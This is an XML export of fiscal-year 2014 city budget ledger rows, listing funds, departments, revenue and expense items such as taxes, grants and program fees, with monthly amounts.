<row _id="12799"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>465</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>465.0</total></row>
<row _id="12800"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-1537</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1537.0</total></row>
<row _id="12801"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406805.0</object><object_description>14 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>-278507</april><may>0</may><june>0.0</june><total>-278507.0</total></row>
<row _id="12802"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555406.0</object><object_description>14 UASI GRANT - POLICE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>30000</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="12803"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409003.0</object><object_description>CHILDCARE-NOVEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-35467</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35467.0</total></row>
<row _id="12804"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409008.0</object><object_description>CHILDCARE-APRIL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-31130</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-31130.0</total></row>
<row _id="12805"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407201.0</object><object_description>ROSIE'S GIRLS DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-1200</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1200.0</total></row>
<row _id="12806"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407202.0</object><object_description>ROSIE'S GIRLS-MATERIALS FEES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-4900</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4900.0</total></row>
<row _id="12807"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>410070.0</object><object_description>OPEN SPACE CONTRIB</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-207857</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-207857.0</total></row>
<row _id="12808"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>409270.0</object><object_description>OZONE PARK KIWANIS DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-50000.0</june><total>-50000.0</total></row>
<row _id="12809"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-378.0</june><total>-378.0</total></row>
<row _id="12810"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-27999.0</june><total>-27999.0</total></row>
<row _id="12811"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579015.0</object><object_description>DISCRET-OPA 4TH OF JULY PARADE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>5000.0</june><total>5000.0</total></row>
<row _id="12812"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579016.0</object><object_description>DISCRET-SOULSTICE FEST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>4000.0</june><total>4000.0</total></row>
<row _id="12813"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533730.0</object><object_description>MOBILE DATA EQUIP &amp; MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>69076.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69076.0</total></row>
<row _id="12814"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400080.0</object><object_description>HOME EXEMPT TAX RELIEF</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-209052.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-209052.0</total></row>
<row _id="12815"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400130.0</object><object_description>TRANSIENT OCCUPANCY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-46540000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-1305000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-47845000.0</total></row>
<row _id="12816"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400190.0</object><object_description>BUSINESS LICENSE TAXES</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-29500000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-500000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30000000.0</total></row>
<row _id="12817"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401420.0</object><object_description>TRANSACTION AND USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-15035683.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-310884.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15346567.0</total></row>
<row _id="12818"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579003.0</object><object_description>DISCRET-CRADLE TO CAREER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>77884.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77884.0</total></row>
<row _id="12819"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579009.0</object><object_description>DISCRET-WATER SUSTAIN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="12820"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555398.0</object><object_description>12 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>247482</march><april>0</april><may>0</may><june>-30194.0</june><total>217288.0</total></row>
<row _id="12821"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>406854.0</object><object_description>OTS SOBRIETY CHECKPOINT 2013</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-35260.28</june><total>-35260.28</total></row>
<row _id="12822"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="12823"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>545040.0</object><object_description>BLOOMBERG WELLBEING PROJECT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>794500</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>794500.0</total></row>
<row _id="12824"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>576530.0</object><object_description>TRANSFER TO 04 FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-3700000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>3700000.0</june><total>0.0</total></row>
<row _id="12825"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>576530.0</object><object_description>TRANSFER FROM 01 FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>3700000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-3700000.0</june><total>0.0</total></row>
<row _id="12826"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>403635.0</object><object_description>JUSTICE ASSIST GRANT 2013-OT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-29283.0</june><total>-29283.0</total></row>
<row _id="12827"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>65692.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65692.0</total></row>
<row _id="12828"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12717.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12717.0</total></row>
<row _id="12829"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>410280.0</object><object_description>LOS AMIGOS MWD GRANT 2013</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-400000</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="12830"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-128000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-128000.0</total></row>
<row _id="12831"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>REAL BEACH PKG STATE ITS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-346500</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-346500.0</total></row>
<row _id="12832"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>408620.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-245862.0</july><august>0</august><september>0</september><october>0</october><november>-30132</november><december>0</december><january>0.0</january><february>245862</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30132.0</total></row>
<row _id="12833"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405452.0</object><object_description>HBP- FHWA CAL INCLINE CONSTRUC</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-6833711.0</july><august>0</august><september>0</september><october>0</october><november>-514279</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7347990.0</total></row>
<row _id="12834"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404430.0</object><object_description>MAIN STREET PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-1040400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1040400.0</total></row>
<row _id="12835"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570081.0</object><object_description>TRANSFER IN-WTR L-INCOME DISC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-20000.0</june><total>-20000.0</total></row>
<row _id="12836"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>406806.0</object><object_description>14 UASI GRANT - POLICE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>-30000</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="12837"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>407490.0</object><object_description>PLAN CHECK FEES-LANDSCAPE&amp;FORE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-123600</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-123600.0</total></row>
<row _id="12838"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407861.0</object><object_description>VENDING MACH SALES-VAP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-1300</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1300.0</total></row>
<row _id="12839"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409001.0</object><object_description>CHILDCARE-SEPTEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-40659</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40659.0</total></row>
<row _id="12840"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409051.0</object><object_description>MIDDLE SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-29056</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29056.0</total></row>
<row _id="12841"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409053.0</object><object_description>MIDDLE SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-24937</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-24937.0</total></row>
<row _id="12842"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409072.0</object><object_description>ROSIE'S GIRLS-SUMMER I</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-29038</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29038.0</total></row>
<row _id="12843"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>406041.0</object><object_description>ABC MINI GRANT PROGRAM 2014</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-10700</march><april>0</april><may>0</may><june>0.0</june><total>-10700.0</total></row>
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<row _id="12845"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>60761.0</june><total>60761.0</total></row>
<row _id="12846"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-10478.0</june><total>-10478.0</total></row>
